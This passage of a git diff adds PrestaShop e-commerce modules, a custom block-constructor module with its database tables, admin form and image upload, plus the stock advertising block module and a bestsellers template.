'belvg_blockconstructor_shop` ( + `id_belvg_blockconstructor` int(10) unsigned NOT NULL auto_increment, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_belvg_blockconstructor`, `id_shop`) + ) ENGINE=' . _MYSQL_ENGINE_ . ' DEFAULT CHARSET=utf8'; + + $sql[] = + 'CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'belvg_blockconstructor_lang` ( + `id_belvg_blockconstructor` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `subtitle` varchar(255), + `classbloc` varchar(255), + `linkA` varchar(255), + `content` text, + PRIMARY KEY (`id_belvg_blockconstructor`,`id_lang`) + ) ENGINE=' . _MYSQL_ENGINE_ . ' DEFAULT CHARSET=utf8'; + + foreach ($sql as $_sql) { + Db::getInstance()->Execute($_sql); + } + + $new_tab = new Tab(); + $new_tab->class_name = 'AdminBlockConstructor'; + $new_tab->id_parent = Tab::getCurrentParentId(); + $new_tab->module = $this->name; + $languages = Language::getLanguages(); + foreach ($languages as $language) { + $new_tab->name[$language['id_lang']] = 'Belvg Blocks Constructor'; + } + + $new_tab->add(); + + $install = parent::install(); + + $_hooks = Hook::getHooks(1); + $this->registerHook('displayTopOrderRightColumn'); + + return $install; + } + + public function uninstall() + { + $sql = array(); + + $sql[] = 'DROP TABLE IF EXISTS `' . _DB_PREFIX_ . 'belvg_blockconstructor`'; + $sql[] = 'DROP TABLE IF EXISTS `' . _DB_PREFIX_ . 'belvg_blockconstructor_shop`'; + $sql[] = 'DROP TABLE IF EXISTS `' . _DB_PREFIX_ . 'belvg_blockconstructor_lang`'; + + foreach ($sql as $_sql) { + Db::getInstance()->Execute($_sql); + } + + $idTab = Tab::getIdFromClassName('AdminBlockConstructor'); + if ($idTab) { + $tab = new Tab($idTab); + $tab->delete(); + } + + $uninstall = parent::uninstall(); + + $_hooks = Hook::getHooks(1); + foreach ($_hooks as $hook) { + $this->unregisterHook($hook['name']); + } + + return $uninstall; + } + + public function __call($name, $args = array()) + { + $hookName = str_replace('hook', '', $name); + $id_hook = (int)Hook::getIdByName($hookName); + if ($id_hook) { + $this->smarty->assign( + array( + 'blocks' => BelvgBlockConstructor::getBlocksContent($id_hook), + 'linkimg' =>'modules/belvg_blockconstructor/img/', + ) + ); + return $this->display(__FILE__, $hookName.'.tpl'); + } + + return NULL; + } +} diff --git a/modules/belvg_blockconstructor/classes/BelvgBlockConstructor.php b/modules/belvg_blockconstructor/classes/BelvgBlockConstructor.php new file mode 100755 index 0000000..a9ed822 --- /dev/null +++ b/modules/belvg_blockconstructor/classes/BelvgBlockConstructor.php @@ -0,0 +1,145 @@ + 'belvg_blockconstructor', + 'primary' => 'id_belvg_blockconstructor', + 'multilang' => true, + 'fields' => array( + 'id_hook' => array('type' => self::TYPE_INT), + 'id_category' => array('type' => self::TYPE_INT), + 'status' => array('type' => self::TYPE_INT), + 'date_from' => array('type' => self::TYPE_DATE, ), + 'date_to' => array('type' => self::TYPE_DATE,), + 'date_add' => array('type' => self::TYPE_DATE), + 'date_upd' => array('type' => self::TYPE_DATE), + // Lang fields + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => true, 'size' => 3999999999999), + 'subtitle' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => false, 'size' => 3999999999999), + 'classbloc' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => false, 'size' => 3999999999999), + 'linkA' => array('type' => self::TYPE_STRING, 'lang' => true, 'required' => false, 'size' => 3999999999999), + 'content' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'size' => 3999999999999, 'required' => false), + ), + ); +/** + * + */ + public function __construct($id = null, $id_lang = null, $id_shop = null){ + + parent::__construct($id, $id_lang, $id_shop); + if (Validate::isLoadedObject($this)) + $this->initExtra($id_lang); + } + + /** + * + */ + public function hydrate(array $data, $id_lang = null){ + + parent::hydrate($data, $id_lang); + $this->initExtra($id_lang); + } + + public function initExtra($id_lang){ + if(file_exists(_PS_MODULE_DIR_.'belvg_blockconstructor/img/'. $this->id . '_'.$id_lang.'.jpg')){ + $this->image = true; + }else{ + $this->image = false; + } + } + + public static function getBlocksContent($id_hook,$id_cat=false) + { + $date = date('Y-m-d'); + $sql = ' + SELECT `id_belvg_blockconstructor` + FROM `' . _DB_PREFIX_ . 'belvg_blockconstructor` + WHERE `id_hook` = "' . (int)$id_hook . '" AND `status` = "1" + '.($id_cat ? ' AND `id_category` = "'.$id_cat.'" ' : '').' + AND `date_from` <= IF(date_from = "0000-00-00","0000-00-00","' . $date . '") + AND `date_to` >= IF(date_to = "0000-00-00","0000-00-00","' . $date . '")'; + + if (Shop::isFeatureActive()) { + $sql .= ' AND `id_belvg_blockconstructor` IN ( + SELECT sa.`id_belvg_blockconstructor` + FROM `' . _DB_PREFIX_ . 'belvg_blockconstructor_shop` sa + WHERE sa.id_shop IN (' . implode(', ', Shop::getContextListShopID()) . ') + )'; + } + + $html = ''; + $result = Db::getInstance()->ExecuteS($sql); + $blocks = array(); + foreach ($result as $_block) { + $blocks[] = new self($_block['id_belvg_blockconstructor'],Context::getContext()->language->id); + } + + return $blocks; + } +} \ No newline at end of file diff --git a/modules/belvg_blockconstructor/controllers/admin/AdminBlockConstructor.php b/modules/belvg_blockconstructor/controllers/admin/AdminBlockConstructor.php new file mode 100755 index 0000000..599f456 --- /dev/null +++ b/modules/belvg_blockconstructor/controllers/admin/AdminBlockConstructor.php @@ -0,0 +1,395 @@ + + $(".multishop_toolbar").hide(); + + '; + + protected $_module = null; + + public function mod_l($string) + { + if (is_null($this->_module)) { + $this->_module = new belvg_blockconstructor; + } + + return $this->_module->l($string, __CLASS__); + } + + public function __construct() + { + $this->bootstrap = true; + $this->table = 'belvg_blockconstructor'; + $this->identifier = 'id_belvg_blockconstructor'; + $this->className = 'BelvgBlockConstructor'; + $this->lang = TRUE; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_belvg_blockconstructor' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 30 + ), + 'title' => array( + 'title' => $this->l('Block Title'), + 'width' => 100 + ), + 'classbloc' => array( + 'title' => $this->l('Link'), + 'width' => 200, + ), + 'status' => array( + 'title' => $this->l('Status'), + 'width' => 40, + 'active' => 'update', + 'align' => 'center', + 'type' => 'bool', + 'orderby' => FALSE + ), + /*'date_from' => array( + 'title' => $this->mod_l('Date start'), + 'width' => 150, + 'type' => 'date', + 'align' => 'right' + ), + 'date_to' => array( + 'title' => $this->mod_l('Date end'), + 'width' => 150, + 'type' => 'date', + 'align' => 'right' + )*/ + ); + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL) { + $this->_where .= ' AND a.' . $this->identifier . ' IN ( + SELECT sa.' . $this->identifier . ' + FROM `' . _DB_PREFIX_ . $this->table . '_shop` sa + WHERE sa.id_shop IN (' . implode(', ', Shop::getContextListShopID()) . ') + )'; + } + + $this->identifiersDnd = array('id_belvg_blockconstructor' => 'id_sslide_to_move'); + + parent::__construct(); + } + + public function renderForm() + { + $this->display = 'edit'; + $this->initToolbar(); + if (!$obj = $this->loadObject(TRUE)) { + return; + } + + $hook = array( + array( + "id_hook" => 136, + "title" => 'Panier bloc gauche haut', + ), + /*array( + "id_hook" => 144, + "title" => 'Accueil bloc centre', + ), + array( + "id_hook" => 145, + "title" => 'Accueil bloc droite', + ), + array( + "id_hook" => 146, + "title" => 'Accueil bloc bas gauche', + ), + array( + "id_hook" => 147, + "title" => 'Accueil bloc bas droit', + ),*/ + ); + + $categories = array(); + $tab = array(); + $tab['id'] = 0 ; + $tab['name'] = "Select Category"; + $categories[] = $tab; + foreach(Category::getCategories((int) $this->context->cookie->id_lang) as $c) { + foreach($c as $d){ + $tab = array(); + $tab['id'] = $d['infos']['id_category'] ; + $tab['name'] = $d['infos']['id_category'] ." - " . $d['infos']['name'] ; + $categories[] = $tab; + } + } + + if (Tools::isSubmit('id_belvg_blockconstructor')){ + $id_belvg_blockconstructor = (int)Tools::getValue('id_belvg_blockconstructor'); + $url = __PS_BASE_URI__.'modules/belvg_blockconstructor/img/'.$id_belvg_blockconstructor ; + }else{ + $url = "noimg" ; + } + + $this->fields_form = array( + 'tinymce' => TRUE, + 'legend' => array( + 'title' => $this->l('Blocks Constructor'), + 'image' => '../img/admin/tab-categories.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Block Title:'), + 'name' => 'title', + 'id' => 'title', + 'lang' => TRUE, + 'required' => TRUE, + 'size' => 50, + 'maxlength' => 50, + ), + /*array( + 'type' => 'text', + 'label' => $this->mod_l('Block Subtitle:'), + 'name' => 'subtitle', + 'id' => 'subtitle', + 'size' => 50, + 'maxlength' => 50, + ),*/ + array( + 'type' => 'text', + 'label' => $this->l('Link:'), + 'name' => 'classbloc', + 'id' => 'classbloc', + 'lang' => TRUE, + 'size' => 50, + 'maxlength' => 100, + ), + /*array( + 'type' => 'text', + 'label' => $this->mod_l('Block Link:'), + 'name' => 'linkA', + 'id' => 'linkA', + 'lang' => true, + 'size' => 50, + 'maxlength' => 50, + ),*/ + array( + 'type' => 'select', + 'label' => $this->l('Hook:'), + 'name' => 'id_hook', + 'id' => 'id_hook', + 'options' => array( + 'query' => $hook, + 'id' => 'id_hook', + 'name' => 'title', + 'default' => array('label' => $this->mod_l('Select hook'), 'value' => 0)) + ), + /*array( + 'type' => 'select', + 'label' => $this->l('Category'), + 'name' => 'id_category', + 'options' => array( + 'query' => $categories, + 'id' => 'id', + 'name' => 'name' + ) + ), */ + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'status', + 'class' => 't', + 'is_bool' => TRUE, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + ), + array( + 'type' => 'file', + 'label' => $this->l('Select a file FR'), + 'name' => 'imagelogo_1', + 'lang' => true, + 'url' => $url + ), + array( + 'type' => 'file', + 'label' => $this->l('Select a file EN'), + 'name' => 'imagelogo_2', + 'lang' => true, + 'url' => $url + ), + /*array( + 'type' => 'date', + 'label' => $this->mod_l('Date from:'), + 'name' => 'date_from', + 'id' => 'date_from', + 'size' => 50, + 'maxlength' => 50, + ), + array( + 'type' => 'date', + 'label' => $this->mod_l('Date to:'), + 'name' => 'date_to', + 'id' => 'date_to', + 'size' => 50, + 'maxlength' => 50, + ), + array( + 'type' => 'textarea', + 'label' => $this->mod_l('Content:'), + 'name' => 'content', + 'autoload_rte' => TRUE, + 'lang' => TRUE, + 'rows' => 5, + 'cols' => 40, + ),*/ + ), + 'submit' => array( + 'title' => $this->mod_l(' Save '), + 'class' => 'button' + ) + ); + + if (Shop::isFeatureActive()) { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->mod_l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->tpl_form_vars = array( + 'status' => $this->object->status + ); + + return parent::renderForm() . $this->_js; + } + + protected function updateAssoShop($id_object) + { + if (!Shop::isFeatureActive()) { + return; + } + + $assos_data = $this->getSelectedAssoShop($this->table, $id_object); + + $exclude_ids = $assos_data; + foreach (Db::getInstance()->executeS('SELECT id_shop FROM ' . _DB_PREFIX_ . 'shop') as $row) { + if (!$this->context->employee->hasAuthOnShop($row['id_shop'])) { + $exclude_ids[] = $row['id_shop']; + } + } + + Db::getInstance()->delete($this->table . '_shop', '`' . $this->identifier . '` = ' . (int) $id_object . ($exclude_ids ? ' AND id_shop NOT IN (' . implode(', ', $exclude_ids) . ')' : '')); + + $insert = array(); + foreach ($assos_data as $id_shop) { + $insert[] = array( + $this->identifier => $id_object, + 'id_shop' => (int) $id_shop, + ); + } + + return Db::getInstance()->insert($this->table . '_shop', $insert, FALSE, TRUE, Db::INSERT_IGNORE); + } + + protected function getSelectedAssoShop($table) + { + if (!Shop::isFeatureActive()) { + return array(); + } + + $shops = Shop::getShops(TRUE, NULL, TRUE); + if (count($shops) == 1 && isset($shops[0])) { + return array($shops[0], 'shop'); + } + + $assos = array(); + if (Tools::isSubmit('checkBoxShopAsso_' . $table)) { + foreach (Tools::getValue('checkBoxShopAsso_' . $table) as $id_shop => $value) { + $assos[] = (int) $id_shop; + } + } else if (Shop::getTotalShops(FALSE) == 1) { + // if we do not have the checkBox multishop, we can have an admin with only one shop and being in multishop + $assos[] = (int) Shop::getContextShopID(); + } + + return $assos; + } + + public function processSave() + { + $save = parent::processSave(); + if(Validate::isLoadedObject($this->object)){ + $languages = Language::getLanguages(false); + foreach ($languages as $language) { + if(Validate::isLoadedObject($this->object)){ + + $tabimgs = array( + "logo", + ); + foreach($tabimgs as $tabimg){ + + $namePost = 'image'.$tabimg.'_'.$language['id_lang']; + if (isset($_FILES[$namePost]) && isset($_FILES[$namePost]['tmp_name']) && !empty($_FILES[$namePost]['tmp_name'])) + { + if (file_exists(dirname(__FILE__).'/../../img/'.$this->object->id.'_'.(int)$language['id_lang'].'.jpg')) + unlink(dirname(__FILE__).'/../../img/'.$this->object->id.'_'.(int)$language['id_lang'].'.jpg'); + if ($error = ImageManager::validateUpload($_FILES[$namePost])) + $errors .= $error; + elseif (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES[$namePost]['tmp_name'], $tmpName)) + return false; + elseif (!ImageManager::resize($tmpName, dirname(__FILE__).'/../../img/'.$this->object->id.'_'.$language['id_lang'].'.jpg')) + $errors .= $this->displayError($this->l('An error occurred while attempting to upload the image.')); + if (isset($tmpName)) + unlink($tmpName); + } + else + $errors = "File cannot be uploaded"; + } + + } + } + } + return $save; + } + +} \ No newline at end of file diff --git a/modules/belvg_blockconstructor/logo.gif b/modules/belvg_blockconstructor/logo.gif new file mode 100755 index 0000000..d58e74a Binary files /dev/null and b/modules/belvg_blockconstructor/logo.gif differ diff --git a/modules/belvg_blockconstructor/logo.png b/modules/belvg_blockconstructor/logo.png new file mode 100755 index 0000000..d58e74a Binary files /dev/null and b/modules/belvg_blockconstructor/logo.png differ diff --git a/modules/belvg_blockconstructor/views/templates/admin/blockconstructor/helpers/form/form.tpl b/modules/belvg_blockconstructor/views/templates/admin/blockconstructor/helpers/form/form.tpl new file mode 100755 index 0000000..e901dbb --- /dev/null +++ b/modules/belvg_blockconstructor/views/templates/admin/blockconstructor/helpers/form/form.tpl @@ -0,0 +1,5 @@ +{extends file="helpers/form/form.tpl"} +string +{block name="other_input"} + +{/block} \ No newline at end of file diff --git a/modules/belvg_blockconstructor/views/templates/admin/helpers/uploader/simple.tpl b/modules/belvg_blockconstructor/views/templates/admin/helpers/uploader/simple.tpl new file mode 100755 index 0000000..5eb0587 --- /dev/null +++ b/modules/belvg_blockconstructor/views/templates/admin/helpers/uploader/simple.tpl @@ -0,0 +1,54 @@ +{assign var=languages value=Language::getLanguages(false)} +{if !isset($defaultFormLanguage)} + {assign var=defaultFormLanguage value=$languages[0].id_lang} +{/if} +
    + {foreach from=$languages item=language} + {if $languages|count > 1} +
    + {/if} +
    + {if $url != "noimg"} + + {/if} + +
    + + + + + +
    +
    + {if $languages|count > 1} +
    + + +
    + {/if} + {if $languages|count > 1} +
    + {/if} + + {/foreach} +
    \ No newline at end of file diff --git a/modules/belvg_blockconstructor/views/templates/hook/displayActu.tpl b/modules/belvg_blockconstructor/views/templates/hook/displayActu.tpl new file mode 100755 index 0000000..e69de29 diff --git a/modules/belvg_blockconstructor/views/templates/hook/displayTopOrderRightColumn.tpl b/modules/belvg_blockconstructor/views/templates/hook/displayTopOrderRightColumn.tpl new file mode 100755 index 0000000..113a3e9 --- /dev/null +++ b/modules/belvg_blockconstructor/views/templates/hook/displayTopOrderRightColumn.tpl @@ -0,0 +1,14 @@ + +{if $blocks} + {foreach $blocks as $block} +
    + {if $block->classbloc} + + {/if} + + {if $block->classbloc} + + {/if} +
    + {/foreach} +{/if} \ No newline at end of file diff --git a/modules/blockadvertising/advertising.jpg b/modules/blockadvertising/advertising.jpg new file mode 100755 index 0000000..c998478 Binary files /dev/null and b/modules/blockadvertising/advertising.jpg differ diff --git a/modules/blockadvertising/blockadvertising.php b/modules/blockadvertising/blockadvertising.php new file mode 100755 index 0000000..70b616c --- /dev/null +++ b/modules/blockadvertising/blockadvertising.php @@ -0,0 +1,239 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockAdvertising extends Module +{ + /* Title associated to the image */ + public $adv_title; + + /* Link associated to the image */ + public $adv_link; + + /* Name of the image without extension */ + public $adv_imgname; + + /* Image path with extension */ + public $adv_img; + + public function __construct() + { + $this->name = 'blockadvertising'; + $this->tab = 'advertising_marketing'; + $this->version = '0.5'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Block advertising'); + $this->description = $this->l('Adds an advertisement block to selected sections of your e-commerce webiste.'); + + $this->initialize(); + } + + /* + * Set the properties of the module, like the link to the image and the title (contextual to the current shop context) + */ + protected function initialize() + { + $this->adv_imgname = 'advertising'; + if ((Shop::getContext() == Shop::CONTEXT_GROUP || Shop::getContext() == Shop::CONTEXT_SHOP) + && file_exists(_PS_MODULE_DIR_.$this->name.'/'.$this->adv_imgname.'-g'.$this->context->shop->getContextShopGroupID().'.'.Configuration::get('BLOCKADVERT_IMG_EXT'))) + $this->adv_imgname .= '-g'.$this->context->shop->getContextShopGroupID(); + if (Shop::getContext() == Shop::CONTEXT_SHOP + && file_exists(_PS_MODULE_DIR_.$this->name.'/'.$this->adv_imgname.'-s'.$this->context->shop->getContextShopID().'.'.Configuration::get('BLOCKADVERT_IMG_EXT'))) + $this->adv_imgname .= '-s'.$this->context->shop->getContextShopID(); + + $this->adv_img = Tools::getMediaServer($this->name)._MODULE_DIR_.$this->name.'/'.$this->adv_imgname.'.'.Configuration::get('BLOCKADVERT_IMG_EXT'); + $this->adv_link = htmlentities(Configuration::get('BLOCKADVERT_LINK'), ENT_QUOTES, 'UTF-8'); + $this->adv_title = htmlentities(Configuration::get('BLOCKADVERT_TITLE'), ENT_QUOTES, 'UTF-8'); + } + + public function install() + { + Configuration::updateGlobalValue('BLOCKADVERT_LINK', 'http://www.prestashop.com/'); + Configuration::updateGlobalValue('BLOCKADVERT_TITLE', 'PrestaShop'); + // Try to update with the extension of the image that exists in the module directory + foreach (scandir(_PS_MODULE_DIR_.$this->name) as $file) + if (in_array($file, array('advertising.jpg', 'advertising.gif', 'advertising.png'))) + Configuration::updateGlobalValue('BLOCKADVERT_IMG_EXT', substr($file, strrpos($file, '.') + 1)); + + return (parent::install() && $this->registerHook('leftColumn')); + } + + public function uninstall() + { + Configuration::deleteByName('BLOCKADVERT_LINK'); + Configuration::deleteByName('BLOCKADVERT_TITLE'); + Configuration::deleteByName('BLOCKADVERT_IMG_EXT'); + return (parent::uninstall()); + } + + /** + * delete the contextual image (it is not allowed to delete the default image) + * + * @return void + */ + private function _deleteCurrentImg() + { + // Delete the image file + if ($this->adv_imgname != 'advertising' && file_exists(_PS_MODULE_DIR_.$this->name.'/'.$this->adv_imgname.'.'.Configuration::get('BLOCKADVERT_IMG_EXT'))) + unlink(_PS_MODULE_DIR_.$this->name.'/'.$this->adv_imgname.'.'.Configuration::get('BLOCKADVERT_IMG_EXT')); + + // Update the extension to the global value or the shop group value if available + Configuration::deleteFromContext('BLOCKADVERT_IMG_EXT'); + Configuration::updateValue('BLOCKADVERT_IMG_EXT', Configuration::get('BLOCKADVERT_IMG_EXT')); + + // Reset the properties of the module + $this->initialize(); + } + + public function postProcess() + { + if (Tools::isSubmit('submitDeleteImgConf')) + $this->_deleteCurrentImg(); + + $errors = ''; + if (Tools::isSubmit('submitAdvConf')) + { + if (isset($_FILES['adv_img']) && isset($_FILES['adv_img']['tmp_name']) && !empty($_FILES['adv_img']['tmp_name'])) + { + if ($error = ImageManager::validateUpload($_FILES['adv_img'], Tools::convertBytes(ini_get('upload_max_filesize')))) + $errors .= $error; + else + { + Configuration::updateValue('BLOCKADVERT_IMG_EXT', substr($_FILES['adv_img']['name'], strrpos($_FILES['adv_img']['name'], '.') + 1)); + + // Set the image name with a name contextual to the shop context + $this->adv_imgname = 'advertising'; + if (Shop::getContext() == Shop::CONTEXT_GROUP) + $this->adv_imgname = 'advertising'.'-g'.(int)$this->context->shop->getContextShopGroupID(); + elseif (Shop::getContext() == Shop::CONTEXT_SHOP) + $this->adv_imgname = 'advertising'.'-s'.(int)$this->context->shop->getContextShopID(); + + // Copy the image in the module directory with its new name + if (!move_uploaded_file($_FILES['adv_img']['tmp_name'], _PS_MODULE_DIR_.$this->name.'/'.$this->adv_imgname.'.'.Configuration::get('BLOCKADVERT_IMG_EXT'))) + $errors .= $this->l('File upload error.'); + } + } + + // If the link is not set, then delete it in order to use the next default value (either the global value or the group value) + if ($link = Tools::getValue('adv_link')) + Configuration::updateValue('BLOCKADVERT_LINK', $link); + elseif (Shop::getContext() == Shop::CONTEXT_SHOP || Shop::getContext() == Shop::CONTEXT_GROUP) + Configuration::deleteFromContext('BLOCKADVERT_LINK'); + + // If the title is not set, then delete it in order to use the next default value (either the global value or the group value) + if ($title = Tools::getValue('adv_title')) + Configuration::updateValue('BLOCKADVERT_TITLE', $title); + elseif (Shop::getContext() == Shop::CONTEXT_SHOP || Shop::getContext() == Shop::CONTEXT_GROUP) + Configuration::deleteFromContext('BLOCKADVERT_TITLE'); + + // Reset the module properties + $this->initialize(); + $this->_clearCache('blockadvertising.tpl'); + } + if ($errors) + echo $this->displayError($errors); + } + + /** + * getContent used to display admin module form + * + * @return string content + */ + public function getContent() + { + $this->postProcess(); + $output = ' +
    +
    + '.$this->l('Advertising block configuration').''; + if ($this->adv_img) + { + $output .= ' + + '.$this->adv_title.' + '; + if ($this->adv_imgname == 'advertising') + $output .= $this->l('You cannot delete the default image (but you can change it below).'); + else + $output .= ''; + } + else + $output .= '
    '.$this->l('No image').'
    '; + $output .= '

    + +
    + +

    '.$this->l('Image will be displayed as 155x163').'

    +
    +
    + +
    + +
    +
    + +
    + +
    +
    +
    + +
    +
    +
    +
    '; + return $output; + } + + public function hookRightColumn($params) + { + if (!$this->isCached('blockadvertising.tpl', $this->getCacheId())) + $this->smarty->assign(array( + 'image' => $this->context->link->protocol_content.$this->adv_img, + 'adv_link' => $this->adv_link, + 'adv_title' => $this->adv_title, + )); + + return $this->display(__FILE__, 'blockadvertising.tpl', $this->getCacheId()); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'blockadvertising.css', 'all'); + } +} \ No newline at end of file diff --git a/modules/blockadvertising/blockadvertising.tpl b/modules/blockadvertising/blockadvertising.tpl new file mode 100755 index 0000000..007b75a --- /dev/null +++ b/modules/blockadvertising/blockadvertising.tpl @@ -0,0 +1,30 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
    + {$adv_title} +
    + diff --git a/modules/blockadvertising/index.php b/modules/blockadvertising/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockadvertising/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockadvertising/logo.gif b/modules/blockadvertising/logo.gif new file mode 100755 index 0000000..a496083 Binary files /dev/null and b/modules/blockadvertising/logo.gif differ diff --git a/modules/blockadvertising/logo.png b/modules/blockadvertising/logo.png new file mode 100755 index 0000000..300fc6f Binary files /dev/null and b/modules/blockadvertising/logo.png differ diff --git a/modules/blockadvertising/translations/fr.php b/modules/blockadvertising/translations/fr.php new file mode 100755 index 0000000..88671e6 --- /dev/null +++ b/modules/blockadvertising/translations/fr.php @@ -0,0 +1,17 @@ +blockadvertising_fd4c71c948857cce596a69fbaea7426b'] = 'Bloc publicité'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_91cd1ee56ea5324ff51578684a393a81'] = 'Ajoute un bloc affichant une publicité'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_070e16b4f77b90e802f789b5be583cfa'] = 'Erreur de déplacement du fichier mis en ligne'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_6e7be6d836003f069c00cd217660913b'] = 'Configuration du bloc de publicité'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_a21056e22c4d62b400b5dd96dafe22a3'] = 'Vous ne pouvez pas supprimer l\'image par défaut (Mais vous pouvez la modifier ci-dessous)'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_83b5a65e518c21ed0a5f2b383dd9b617'] = 'supprimer l\'image'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_9dd7104e68d1b5f994264b9387c9d271'] = 'pas d\'image'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_8c38cf08a0d0a01bd44c682479432350'] = 'Changer l\'image'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_56d9dfa26d7848a3fbcd2ae3091d38d9'] = 'l\'image sera affiché en 155x163'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_9ce38727cff004a058021a6c7351a74a'] = 'Lien de l\'image'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_b78a3223503896721cca1303f776159b'] = 'Titre'; +$_MODULE['<{blockadvertising}prestashop>blockadvertising_ad3d06d03d94223fa652babc913de686'] = 'Valider'; diff --git a/modules/blockadvertising/translations/index.php b/modules/blockadvertising/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockadvertising/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockbestsellers/blockbestsellers-home.tpl b/modules/blockbestsellers/blockbestsellers-home.tpl new file mode 100755 index 0000000..1170dbb --- /dev/null +++ b/modules/blockbestsellers/blockbestsellers-home.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
    +

    {l s='Top sellers' mod='blockbestsellers'}

    + {if isset($best_sellers) AND $best_sellers} +
    + {assign var='liHeight' value=320} + {assign var='nbItemsPerLine' value=4} + {assign var='nbLi' value=$best_sellers|@count} + {math equation="nbLi/nbItemsPerLine" nbLi=$nbLi nbItemsPerLine=$nbItemsPerLine assign=nbLines} + {math equation="nbLines*liHeight" nbLines=$nbLines|ceil liHeight=$liHeight assign=ulHeight} + +

    {l s='All best sellers' mod='blockbestsellers'}

    +
    + {else} +

    {l s='No best sellers' mod='blockbestsellers'}

    + {/if} +
    +
